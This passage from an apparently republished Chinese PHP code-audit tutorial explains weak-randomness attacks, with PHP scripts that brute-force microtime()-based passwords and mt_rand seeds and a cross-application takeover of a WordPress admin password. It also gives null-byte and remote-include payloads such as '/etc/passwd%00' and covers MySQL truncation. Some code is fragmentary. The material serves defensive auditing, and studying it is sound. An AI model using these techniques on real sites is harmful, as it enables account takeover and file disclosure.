"; exit; } else { print $i."
"; } } ?> 当我们的程序使用rand处理session时,攻击者很容易暴力破解出你的session,但是对于mt_rand是很难单纯的暴力的。 当然,凡是也不是绝对的,我们说mt_rand()抗穷举性更强也是基于攻击者完全不具有对目标随机系统先验知识的情况下而言的。我们来思考下面这个场景: 比如下面的代码,其逻辑是用户取回密码时,会由系统随机生成一个新的密码,并发送到用户的邮箱: function sendPSW() { .... $messenger = &$this->system->loadModel('system/messenger'); echo microtime() . "
"; $passwd = substr(md5(print_r(microtime(), true)), 0, 6); } 我们发现,这个新生成的passwd,是直接调用了microtime()后,取其MD5值的前6位。由于MD5是单向的哈希函数,因此只需遍历microtime()的值,再按照同样的算法(这就是算法逆向的思想),即可猜解出passwd的值。 PHP中的microtime()有两个值合并而成,一个是微秒数,一个是系统当前秒数。 http://www.w3school.com.cn/php/func_date_microtime.asp 因此只需要获取到服务器的系统时间,就可以以此时间作为"基数",按次序递增,即可猜解出新生成的密码。因此这个算法是存在非常严重的设计缺陷的,程序员预想的随机生成密码,其实并未随机。 在这个案例中,生成密码的前一行,直接调用了microtime()并返回在当前页面上,这又使得攻击者以非常低的成本获得了服务器时间;且两次调用microtime()的时间间隔非常短,因此必然是在同一秒内,攻击者只需要猜解微秒数即可。 (思考: 攻击者能利用这个microtime()的弱随机性漏洞进行基于时间"基数"的穷举的一个最重要的前提就是攻击者要获取到服务器的系统时间,也就是在发起攻击前要获取到尽可能靠近关键点的时间,比如说在生成cookie的那一瞬间会取一次microtime(),我们攻击者的目的就是要"穷举"出cookie生成的那一瞬间的microtime(),为了达到这个目的,我们就必须要尽可能的获取到尽可能靠近那个取值点的时间,才能有效的进行"时间"穷举,否则如果时间间隔太大,穷举就会很没效率,还可能触发警报) 这点在发送攻击前一定要注意,因为每种攻击一般都会有一些必要的成立条件的。 http://www.w3school.com.cn/php/func_date_microtime.asp 如果调用时不带可选参数,本函数以 "msec sec" 的格式返回一个字符串,其中 sec 是自 Unix 纪元(0:00:00 January 1, 1970 GMT)起到现在的秒数,msec 是微秒部分。字符串的两部分都是以秒为单位返回的。 0.68454800 1382964876 0.68459400 1382964876 我们发现,后面的"秒数部分"基本是一样的(要达到这点需要攻击者能够做到在关键的附近获取到microtime)。我们要做的就是不断的穷举前面的毫秒部分。 输出的作用是模拟攻击者获取到了一个关键点附近的时间 $timebase = microtime(); print_r($timebase . "\n"); //关键点,基于microtime生成"key"的地方 $passwd = substr(md5(print_r(microtime(), true)), 0, 6); //开始进行穷举 for($i = 15000;;$i++) { $tmp = substr(md5(print_r($timebase + $i, true)), 0, 6); print_r($tmp . "\n"); if($passwd == $tmp) { print_r("Found The Key: " . $tmp . "\n"); break; } } print_r($passwd); ?> 2) 随即发生器种子问题: mt_srand()/srand()-weak seeding(by Stefan Esser) 伪随机数是由数学算法实现的,它真正随机的地方在于"种子(seed)"。种子一旦确定后,再通过同一个伪随机数算法计算出来的随机数,其值是固定,多次计算所得值的顺序也是固定的(也就是说,只要种子seed是相同的,之后产生的伪随机数序列就是相同的)。 在PHP 4.2.0之前的版本中,是需要通过srand()或mt_srand()给rand()、mt_rand()"播种"的。 在PHP 4.2.0之后的版本中,不在需要事先通过srand()、mt_srand()来"播种"。 我们可以直接调用mt_rand(),系统会自动播种。但是有的时候,程序猿为了和以前的PHP版本兼容,PHP代码中经常会这样写 mt_srand(); mt_srand((double) microtime() * 100000); mt_srand((double) microtime() * 1000000); mt_srand((double) microtime() * 10000000); 这种播种的写法其实是由缺陷的,且不说time()是可以被攻击者获知的,使用microtime()获得的种子范围其实也不是很大。 0 < (double) microtime() < 1 -----> 0 < (double) microtime() * 1000000 < 1000000 变化的范围在0~1000000之间,猜解100万次即可遍历所有的种子。 在PHP 4.2.0之后的版本中,如果没有通过播种函数指定seed,而直接调用mt_rand(),则系统会分配一个默认的种子(默认不是指一个定值,这个值也是随机的)。在32位系统上默认的播种的种子最大值是2^32,因此最多只需要尝试2^32次就可以破解seed。 如果是在同一进程中(apache不能重启),则同一个seed(这个是关键前提)每次通过mt_rand()生成的值都是固定的。 "; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; ?> 1244335972 15217923 1546885062 2002651684 2135443977 1865258162 1509498899 2145423170 多次访问得到的结果都是一样的,也就是说,当seed确定时,1~N次通过mt_rand()产生的值都没有发生变化。 建立在这个基础上,就可以得到一种针对随机数种子的可行的攻击方式: 1) 通过穷举方法猜解出种子的值 2) 通过mt_srand()对猜解出的种子值进行播种 3) 通过还原程序逻辑,计算出对用的mt_rand()产生的伪随机数的值 "; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; ?> 每次访问都会得到不同的随机数值,这是因为种子每次都会发生变化。 假设攻击者已知第一个随机数的值:154176006(这在实际情况中很常见,即攻击者只能获得伪随机序列中的一部分的值,要去猜测剩下的其他值),如何猜解出剩下的几个随机数呢?只需要猜解出当前用的种子即可。 "; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; echo mt_rand() . "
"; } //逆向算法的逻辑,猜解出种子值 function get_seed() { for($i = 0; $i < 1000000; $i++) { mt_srand($i); //mt_rand(); 对应是第几次调用mt_rand() 这在实际攻击中也要攻击者事先确认 $str = mt_rand(); //本例中是第一次调用mt_rand() //对比随机数的值 if($str == 154176006) { //返回找到的种子seed值 return $i; } return false; } } ?> seed is: 345466 154176006 1557534108 1434505522 563902658 470748912 1976227824 1450875174 1698782154 对抗这种攻击的方法,在输出时不要输入完整的伪随机树,比如,原本是1450875174,那就进行截断,只输出截断后的数字,这样攻击者就无法从所得到的伪随机数结果反推出seed了 在Stefan Esser的文中还提到一个小技巧,可以通过发送Keep-Alive HTTP头,迫使服务端使用同一PHP进程响应请求,而在该PHP进程中,随机数在使用时只会在一开始播种一次。 在一个web应用中,有很多地方都可以获取到随机数,从而提供猜解种子的可能。Stefan Esser提供了一种"Cross Application Attacks"的思路,即通过前一个应用在页面上返回的随机数值,猜解出其他应用生成的随机数值。 mt_srand((double) microtime() * 1000000); $search_id = mt_rand(); 如果服务器端将$search_id返回到页面上,则攻击者就可能猜解出当前的种子。 这个我之前分析的 Discuz修改用户密码POC的分析和思考 http://www.freebuf.com/articles/web/12088.html 原理是类似的 1) 攻击者能够获得伪随机序列中的其中一个 2) 攻击者必须要确定自己获取的数值是伪随机序列中的哪一个(即序号) 3) 通过逆向算法来穷举出这个伪随机数所用的种子seed 4) 通过这个种子seed再生成其他的伪随机数 这种攻击确实可行,比如一个服务器上同时安装了WordPress和PhpBB,可以通过phpBB来猜解出种子,然后利用WordPress的密码取回功能猜解出新生成的密码。Stefan Esser描述这个攻击过程如下: 1) 使用Keep-Alive HTTP请求在phpBB2论坛中搜索字符串'a'; 2) 搜索必然会出来很多结果,同时也泄露了search_id; 3) 很容易通过该值猜解出随机数的种子(可以使用phpBB原生的生成算法来逆向推出种子) 4) 攻击者仍然使用Keep-Alive HTTP头发送一个重置的admin密码的请求给WordPress Blog; 5) WordPress mt_rand()生成确认链接,并发送到管理员邮箱; 6) 攻击者根据已算出的种子,可以构造出此确认链接; 7) 攻击者确认此链接(仍然使用Keep-Alive头),WordPress将向管理员邮箱发送新生成的密码; 8) 因为新密码也是由mt_rand()生成的,攻击者仍然可以计算出来; 9) 从而攻击者最终获取了新的管理员密码 5.6 特殊字符 0x1: 截断 其中最有名的数大家都熟悉的null字符截断 0x2: include截断 提交"action=/etc/passwd%00"中的"%00"将截断后面的".php" 除了"%00"之外,还可以通过提交"action=http://www.hacksite.com/evil-code.txt?"这里"?"实现了"伪截断"。 除了利用WEB请求中的参数分隔来进行"伪截断"之外,还可以进行超长字符串的截断,即通过注入超长字符串,将原本的后半段内容挤出去 经过测试字符"."、"/"或者2个字符的组合,在一定的长度时将被截断,win系统和*nix的系统长度不一样,当win下strlen(realpath("./"))+strlen($_GET['action'])的长度大于256时被截断,对于*nix的长度是4 * 1024 = 4096。对于php.ini里设置远程文件关闭的时候就可以利用上面的技巧包含本地文件了 0x3: 数据截断 对于很多web应用文件在很多功能是不容许重复数据的,比如用户注册功能等。一般的应用程序对于提交注册的username和数据库里已有的username对比是不是已经有重复数据,然而我们可以通过“数据截断”等来饶过这些判断,数据库在处理时候产生截断导致插入重复数据。 1) Mysql SQL Column Truncation Vulnerabilities 这个是由于mysql的sql_mode设置为default的时候,即没有开启STRICT_ALL_TABLES选项时,MySQL对于插入超长的值只会提示warning,而不是error(如果是error就插入不成功),这样可能会导致一些截断问题。测试如下: mysql> insert into truncated_test(`username`,`password`) values("admin","pass"); mysql> insert into truncated_test(`username`,`password`) values("admin x", "new_pass"); Query OK, 1 row affected, 1 warning (0.01 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username | password | +----+------------+----------+ | 1 | admin | pass | | 2 | admin | new_pass | +----+------------+----------+ 2 rows in set (0.00 sec) 2) Mysql charset Truncation vulnerability 当mysql进行数据存储处理utf8等数据时对某些字符导致数据截断。测试如下: mysql> insert into truncated_test(`username`,`password`) values(concat("admin",0xc1), "new_pass2"); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> select * from truncated_test; +----+------------+----------+ | id | username | password | +----+------------+----------+ | 1 | admin | pass | | 2 | admin | new_pass | | 3 | admin | new_pass2 | +----+------------+----------+ 2 rows in set (0.00 sec) 很多的web应用程序没有考虑到这些问题,只是在数据存储前简单查询数据是否包含相同数据,如下代码: $result = mysql_query("SELECT * from test_user where user='$user' "); .... if(@mysql_fetch_array($result, MYSQL_NUM)) { die("already exist"); } 这两种漏洞都有可能导致账户重复注册、管理员帐号提权等漏洞。 0x4: 文件操作里的特殊字符 文件操作里有很多特殊的字符,发挥特别的作用,很多web应用程序没有注意处理这些字符而导致安全问题。比如很多人都知道的windows系统文件名对"空格"和"."等的忽视,这个主要体现在上传文件或者写文件上,导致直接写webshell。另外对于windows系统对".\..\"进行系统转跳等等。例如: ok 我们在windows系统运行上面的代码得到如下字符 1. < 2. > 3. P 4. p 都可以打开目录下的index.php。这可以被作为一个文件后缀名绕过的思路。 6. 怎么进一步寻找新的字典 上面我们列举很多的字典,但是很多都是已经公开过的漏洞或者方式,那么我们怎么进一步找到新的字典或者利用方式呢? 1. 分析和学习别人发现的漏洞或者exp,总结出漏洞类型及字典 2. 通过学习php手册或者官方文档,挖掘出新的有危害的函数或者利用方式 3. fuzz php的函数,找到新的有问题的函数(不一定非要溢出的),有很多问题都可以简单的fuzz脚本可以测试出来 4. 分析php源代码,发现新的漏洞函数"特性"或者漏洞,如果你要进一步找到新的字典,可以在php源代码的基础上分析下成因,然后根据这个成因来分析寻找新的漏洞函数"特性"或者漏洞。 5. 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问
http://www.bkjia.com/PHPjc/815134.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/815134.htmlTechArticle目录 1. 前言 2. 传统的代码审计技术 3. PHP版本与应用代码审计 4. 其他的因素与应用代码审计 5. 扩展我们的字典 5.1 变量本身的ke...